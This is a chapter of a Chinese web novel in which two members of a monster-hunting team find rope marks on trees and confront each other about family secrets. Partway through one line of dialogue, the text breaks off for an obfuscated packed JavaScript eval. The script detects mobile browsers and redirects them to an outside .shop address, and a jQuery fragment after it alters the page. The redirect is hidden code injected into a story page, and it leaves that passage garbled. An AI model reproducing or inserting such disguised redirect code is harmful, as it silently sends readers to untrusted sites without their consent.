他们究竟为什么会在进行这个任务?
淮星深吸一口气,想起路上发生的种种事情,暗暗磨了磨牙。
现在的徒步任务,怎么说都太诡异了。
它简直就是敞开的陷阱,已经大大方方向所有人展示了自己的存在。不可能没有人发觉,即便如此,他们这行人依然要往里头撞,甚至还要牵扯一个004进来。
组织那边特地把004派来,肯定不会是巧合。
“能停一下吗?”筱晓突然出声,一行人的脚步及时停下,大家不约而同回头,望向她。
她的感官一向敏锐,这画面很熟悉,不久前,也是筱晓率先叫停车帮他们规避了一场车祸。
目光聚焦,筱晓捂着眼睛,露出一个歉意的笑容:“我的眼球刚才被我不小心甩飞出去了,抱歉,我得去找一下。”
空气安静几秒,大家看到她缓缓移开手,她的眼眶果真是空洞的,令人不忍细看。
筱晓眼睛的特殊情况只有熟悉她的人才会知道,然而,队内没有一个人提出质疑,仿佛她所谓的“甩飞”出去的不是眼球,而是某件随身携带的小挂饰。
没有任何辅助功能的义眼,常理上并不能成为阻拦他们前进的理由,毕竟筱晓不管有没有那颗假眼球,她的视力也只会有一只眼。
可出于人道主义原则,夏叶霜知道她没有理由去让筱晓放弃。她是当时坐下底下参与猎怪组织毕业生评估的一员,筱晓的情况她也清楚。
这是一个失去眼睛的女孩的自尊,她可以因为优秀备受关注,但绝不能因身体的残疾受到旁人的垂怜。
筱晓一直在证明这一点,从小到大,一直如此。
考虑到筱父之前对004拖慢进度的不耐烦,夏叶霜已经做好了帮筱晓说话的准备。谁知筱父看了一眼筱晓,没有说话,看来也是默许的态度。
夏叶霜松口气:这样的平和再好不过,毕竟他们还是有血缘关系的父女,没有发难真是太好了。
她如愿点头批准了筱晓的请求,然而筱晓没有第一时间离开,她目光转向了淮星。
“淮星,你能过来帮我吗?”她询问道,眼神可怜巴巴,仿佛真的在为耽误全队前进感到愧疚。
淮星心跳漏了一拍,眼睛瞪大。
挚友的要求并不过分,她第一反应甚至是有点高兴。自筱晓和她父亲谈话后,筱晓的心理状态一直是淮星心中担忧的结,既然当下筱晓主动创造两人独处的时机,她觉得自己必须得把握住这来之不易的机会。
她点点头,筱晓声音变得明媚几分:“快快,我们快走。”她圈住淮星的手腕,脚步没有停顿,直直往外冲去。
淮星就这样被直接拉走,表情还停留在听到好友主动时的惊喜。
可脑中的一道声音已经响起——不属于任何怪物,仅仅是她的自问。
你真的觉得正常吗?
手腕已经被拉上,等回过神来,队内的其他人已经看不见了。
淮星后知后觉,喜悦瞬间消失的无影无踪。
不对。
自己把事情想得太简单了——筱晓不是那种人,自己也并没有做出能够解开她心防的举措,她不可能平白无故就朝自己吐露心声。
人总是会将潜意识投射到别人身上,编造自己期望中的理由来满足自己的心理需求,这是一瞬间的心安理得,却极有可能成为致命的疏漏。
自己做了什么?凭什么自己就这样自我的认为筱晓的用意会如自己想象?
太突兀了。
鞋尖提到地上的小石头,淮星一个趔趄,手往下一落:“筱……”
跑在前边的筱晓却像脑袋后长了眼睛似的,手腕一翻牢牢拽住了她,避免了好友的摔跤。
她也终于停下来,体贴的让挚友平复乱掉的呼吸。
“筱晓,你……”
“嘘。”筱晓手指竖于唇前,慢慢松开淮星的手腕。
她没怎么用力就这样轻而易举将挚友扯到一个暂时只有他们两个的区域。
阳光被层层树叶过滤,树荫包裹住表情各异的两个女生,一阵风吹过,淮星看到筱晓摊开的手掌,上面躺着她说的那只丢掉了等待去寻找的义眼。
“它不过是个装饰品,丢了也没关系。”筱晓握住义眼,将它重新放回口袋,眼中似笑非笑,话锋又一转,“淮星,我们的时间不多。”
话题跳跃有些太大。
“嗯?”淮星眨眼,心跳加速。
心跳声震耳欲聋,冷意在她的身上蔓延,迟迟找不到落脚点来缓解。
“你注意到了吗?”筱晓望着她,那只没有摘除的眼睛将淮星的表情收尽。
“什么?”
“这里,这里,还有这里。”筱晓转身走向靠她最近的几棵树,手指向上一指,“这种勒痕一直出现,你不觉得很奇怪吗?”
淮星顺着她手指的方向朝上一看,顿时明白过来筱晓在指什么——视线内的树木伸展枝条,显眼的是,许多树木最边缘的枝条上都有一条深深的凹痕,看上去就像曾经被绑过什么一样。
一棵树山有这种痕迹是巧合,那周围所有树都存在这种痕迹,那一定不是低概率事件。
长久萦绕的不安感落实,淮星深吸一口气。
那证明陷阱的最关键一环,终于开始出现。
淮星内心五味杂陈,不知道该喜还是该悲。
好消息:彻底确认这里有问题了。
坏消息:彻底确认这里有问题了。
“所以,你明白了,对吗——淮星,来帮我吧,我需要你。”
筱晓微微笑着,明艳自然。
不知何时,筱晓的手已经贴上了淮星的脊背,亲密的姿势似她们在校的每一天相处。
而此刻,卸掉了义眼的筱晓近在咫尺,那恍若深渊般的空洞残缺的双眼正凝视着她,凝视着朝夕相处的伙伴,凝视着瞳孔发颤的淮星。
嗓子如火烧似的干渴,淮星有一瞬间感到窒息,胸口处又胀又空。
齿轮终于到最为契合的角度,之前发生的一切都穿织起来。
“……为什么要说它是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651286|139924||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
装饰品呢,为什么要说‘丢了也没关系’呢?”
那每一次错过后的自我安慰,那了解过去后的假装无知,久久的沉默聚集的心情爆发于这一瞬,血管中似有火在燃烧,淮星哑着嗓子,拽住了面前人的领子,指尖发抖。
筱晓被她的力道骤然往前一拽,脸上的笑意空白了一刹那。
不过她又很快恢复了笑容:“淮星,你知道我家里是什么情况吗,你又清楚我是什么情况吗?”
心口的燃意让她的出口的话语几乎不加思考:“你——”
但她的话语被打断了,她的坦白被打断了,对方并没有给她这个机会,就像淮星一开始也没有留给她选择的余地。
筱晓注视她,声音平静:“你全都知道,对吧?包括我的家庭,包括我这个人,包括我为什么能穿上猎怪组织的制服。”
那瞬间,淮星的脑子“哄”的响起耳鸣。
筱晓全都知道了。
“我父亲他把该说的都说了,不该说的也全说了,那些没说的,我也自己猜到了。”筱晓的手指碰上淮星的手背,呼吸平稳,仿佛现在在光天化日下被粗暴拽领子的并非她本人似的,“我很感谢你,淮星,我真的真的很感谢你,我很高兴能遇到你,我也很高兴你在知道我的过去后还能拿和过去一样的心态对待我。”
“可是这些不是你的错,不是吗?”紧绷的手指渐渐卸了力,淮星咬唇,将曾经在罗望云面前说出的辩解再度重现,“父母不是你能选择的,你本来就不该……”
不论过去多久,她依旧感到了这句话的无力。
每个人都无法决定出生,有的人那么幸运,有的人却从出生那一刻起就注定活在地狱。
可即便如此,他们仍然在共做同一件事。
大家都是有血有肉的人,大家都在努力活着。
“淮星。”筱晓的手轻而易举地将淮星的手摘了下来,理了理被抓皱的领子,“我现在不想说这些,我们也没有必要再说这个了,有件事情比我这个人更重要。先听我讲完,好吗?”
淮星眼神暗下,轻轻“嗯”了一声。
筱晓从一开始就说过,时间并不多,他们得在队里其他人来找他们之前回去。
她想起宋燃说过的那个词:
遗憾。
当时的他让自己回头看看,别留下遗憾。
可机缘巧合下,她还是错过了那个机会。
很多东西,错过了就不会再回来,它已经无声无息的消失了。
筱晓沉默一下,她看到了淮星眼中的落寞,但如今的她只能生硬移开话题,继续将自己的目标践行下去:“这些树枝上的痕迹很眼熟对吧?我们在遇上034的时候也见到过。”
筱晓的提示落入脑中,那一截即将断裂的绳子浮现。
她动作一滞,可怕的猜想占据全部思维。
这些树上,是不是曾经都系着……人类?
“你应该想到了,淮星,相信我,现在发生的一切都不可能是巧合。”筱晓的声音幽幽,伴着风吹入耳中。